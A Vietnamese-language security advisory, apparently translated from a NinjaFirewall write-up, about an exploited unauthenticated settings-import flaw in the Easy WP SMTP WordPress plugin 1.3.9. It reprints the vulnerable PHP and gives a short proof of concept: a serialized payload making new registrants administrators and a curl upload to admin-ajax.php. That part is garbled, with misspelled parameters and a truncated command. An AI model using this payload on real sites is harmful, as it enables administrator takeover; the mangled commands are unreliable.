Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

Plugin Easy WP SMTP phổ biến , với hơn 300.000 cài đặt hoạt động, dễ bị lỗ hổng zero-day nghiêm trọng cho phép người dùng không được xác thực sửa đổi các tùy chọn WordPress hoặc tiêm và thực thi mã trong số các hành động độc hại khác.

Lỗ hổng, được tìm thấy trong phiên bản v1.3.9, đã bị tin tặc khai thác kể từ ít nhất là ngày 15 tháng 3 và đã bị bắt bởi Tường lửa ứng dụng web cho WordPress, NinjaFirewall (Phiên bản WP) .

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

Hàm trên admin_init(), từ easy-wp-smtp.phptập lệnh, được chạy qua admin_inithook khi người dùng truy cập vào khu vực quản trị. Nó được sử dụng để xem / xóa nhật ký, nhập / xuất cấu hình plugin và cập nhật các tùy chọn trong cơ sở dữ liệu WordPress. Nó không kiểm tra khả năng của người dùng, do đó bất kỳ người dùng nào đã đăng nhập, như người đăng ký, đều có thể kích hoạt nó. Tuy nhiên nó cũng có thể được thực thi bởi người dùng chưa được xác thực, bởi vì Plugin Easy WP SMTP sử dụng AJAX và admin_inithook cũng chạy trên admin-ajax.php như được chỉ ra trong tài liệu API WordPress:

“Lưu ý, điều này không chỉ chạy trên màn hình quản trị người dùng. Nó cũng chạy trên admin-ajax.phpadmin-post.php.”

Do đó, người dùng không được xác thực có thể gửi yêu cầu AJAX, ví dụ action=swpsmtp_clear_log, để kích hoạt chức năng trên và thực thi mã của nó.

Bằng chứng của khái niệm trên

Trong bằng chứng khái niệm sau đây, mình sẽ sử dụng swpsmtp_import_settingsđể tải lên một tệp sẽ chứa một payload nối tiếp độc hại sẽ cho phép người dùng đăng ký ( users_can_register) và đặt vai trò mặc định của người dùng ( default_role) cho quản trị viên của người dùng trong cơ sở dữ liệu.

1. Tạo một tên tập tin / tmp / upload.txt và thêm nội dung này vào đó:

a: 2: {s: 4: "data"; s: 81: "a: 2: {s: 18:" users_can_register "; s: 1:" 1 "; s: 12:" default_role "; s: 13 : "admin";} "; s: 8:" checksum "; s: 32:" 3ce5fb6d7b1dbd6252f4b5b3526650c8 ";}

2. Tải tệp lên:

$ curl https://fornewbie.net/wp-admin/admin-ajax.php -F 'action = swpsmtp_clear_log' -F 'swpsmtp_import_sinstall = 1' -F 'swpsmtp_import_sinstall_file=@tup

Các lỗ hổng khác có thể bị khai thác như:

Điều thú vị là tất cả các nỗ lực bị bắt bởi tường lửa cho thấy tin tặc đã cố gắng khai thác lỗ hổng để thay đổi nội dung của wp_user_rolestùy chọn WordPress trong cơ sở dữ liệu và cung cấp khả năng quản trị viên cho tất cả người dùng. Không giống như tạo tài khoản quản trị viên, có thể dễ dàng phát hiện trong phần Người dùng WordPress, việc thay đổi khả năng hầu như không đáng chú ý, tức là, một người dùng đơn giản sẽ tiếp tục xuất hiện dưới dạng người dùng đơn giản nhưng sẽ có thể làm mọi thứ mà quản trị viên có thể làm. ( Có thể hiểu như bạn không phải vua nhưng làm được mọi thứ mà vua làm, việc chèn các Script hay thao tác vấn đề về việc leo thang vai trò người dùng, hoặc thậm chí là vô hiệu hóa user ADMIN là điều hoàn toàn đơn giản. )

Dấu thời gian

Một phiên bản mới 1.3.9.1 đã được phát hành vào ngày 17 tháng 3. Đã sửa lỗi dễ bị tấn công trong cài đặt nhập \ xuất  được phát hành và bạn có thể tải cũng như cập nhật mới.

khuyến nghị

Cập nhật càng sớm càng tốt nếu bạn vẫn đang chạy phiên bản 1.3.9 thì có thể cập nhật mới => Tại Đây

Nếu bạn đang sử dụng tường lửa ứng dụng web cho WordPress, NinjaFirewall WP Edition (miễn phí) và NinjaFirewall WP + Edition (cao cấp), bạn sẽ được bảo vệ chống lại lỗ hổng này.

Nếu bạn đang sử dụng phiên bản dễ bị xâm hại của Easy WP SMTP, đây là một số đề xuất bổ sung (danh sách có thể không đầy đủ với kiến thức hạn hẹp ):

Nếu bạn đã thay đổi tiền tố cơ sở dữ liệu WordPress của mình, hãy thay thế wp_bằng tiền tố chính xác. Have fun 🙂

The content of : NinjaFirewall WP Edition ©